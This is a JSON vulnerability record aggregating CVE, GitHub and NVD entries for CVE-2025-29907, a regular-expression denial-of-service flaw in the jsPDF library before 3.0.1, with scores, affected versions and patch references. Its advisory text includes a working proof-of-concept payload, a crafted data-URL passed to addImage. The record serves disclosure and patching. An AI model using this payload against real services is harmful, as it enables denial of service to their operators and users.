{"id":"CVE-2025-29907","aliases":["CVE-2025-29907","GHSA-w532-jxjh-hjhj"],"related":[],"kind":"vulnerability","state":"published","title":"jsPDF Bypass Regular Expression Denial of Service (ReDoS)","summary":"jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, user control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitised image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are html and addSvgAsImage. The vulnerability was fixed in jsPDF 3.0.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"jsPDF is a library to generate PDFs in JavaScript. Prior to 3.0.1, user control of the first argument of the addImage method results in CPU utilization and denial of service. If given the possibility to pass unsanitised image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service. Other affected methods are html and addSvgAsImage. The vulnerability was fixed in jsPDF 3.0.1.","source":"cvelist"},{"lang":"en","text":"### Impact\nUser control of the first argument of the `addImage` method results in CPU utilization and denial of service.\n\nIf given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.\n\nOther affected methods are: `html`, `addSvgAsImage`.\n\nExample payload:\n```js\nimport { jsPDF } from \"jpsdf\" \n\nconst doc = new jsPDF();\nconst payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\\x00base64,undefined';\n\nconst startTime = performance.now()\n\ntry {\n doc.addImage(payload, \"PNG\", 10, 40, 180, 180, undefined, \"SLOW\");\n} catch (err) {\n  const endTime = performance.now()\n  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)\n}\n\ndoc.save(\"a4.pdf\");\n```\n\n### Patches\nThe vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1\n\n### Workarounds\nSanitize image urls before passing it to the `addImage` method or one of the other affected methods.\n\n### Credits\nResearcher: Aleksey Solovev (Positive Technologies)","format":"markdown","source":"ghsa"},{"lang":"es","text":"jsPDF es una librería para generar archivos PDF en JavaScript. Antes de la versión 3.0.1, el control del usuario sobre el primer argumento del método addImage provocaba un alto consumo de CPU y una denegación de servicio. Si se le permitía pasar URLs de imágenes no depuradas al método addImage, un usuario podía proporcionar una URL de datos dañina que provocaba un alto consumo de CPU y una denegación de servicio. Otros métodos afectados eran html y addSvgAsImage. La vulnerabilidad se corrigió en jsPDF 3.0.1.","source":"nvd"}],"published":"2025-03-18T18:40:57.504Z","modified":"2026-09-10T03:50:23.282Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"}],"cwes":["CWE-400","CWE-770"],"affected":[{"ranges":[{"version":"< 3.0.1","status":"affected"}],"vendor":"parallax","product":"jsPDF","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.0.1"}],"ecosystem":"npm","package":"jspdf","purl":"pkg:npm/jspdf","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.0.1"}],"vendor":"parall","product":"jspdf","cpe":"cpe:2.3:a:parall:jspdf:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-w532-jxjh-hjhj","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/parallax/jsPDF/commit/b167c43c27c466eb914b927885b06073708338df","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-29907","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/parallax/jsPDF","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2025-03-18T18:58:49.411Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-29907","url":"https://www.cve.org/CVERecord?id=CVE-2025-29907","licence":"CVE Terms of Use","modified":"2025-03-18T19:02:49.720Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-w532-jxjh-hjhj","url":"https://github.com/advisories/GHSA-w532-jxjh-hjhj","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:23.282Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-29907","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-29907","licence":"Public domain","modified":"2026-06-17T09:05:51.750Z"}],"updatedAt":"2026-11-25T22:58:55.346Z","epss":{"score":0.00699,"percentile":0.54395,"date":"2026-12-01T12:00:22.000Z"}}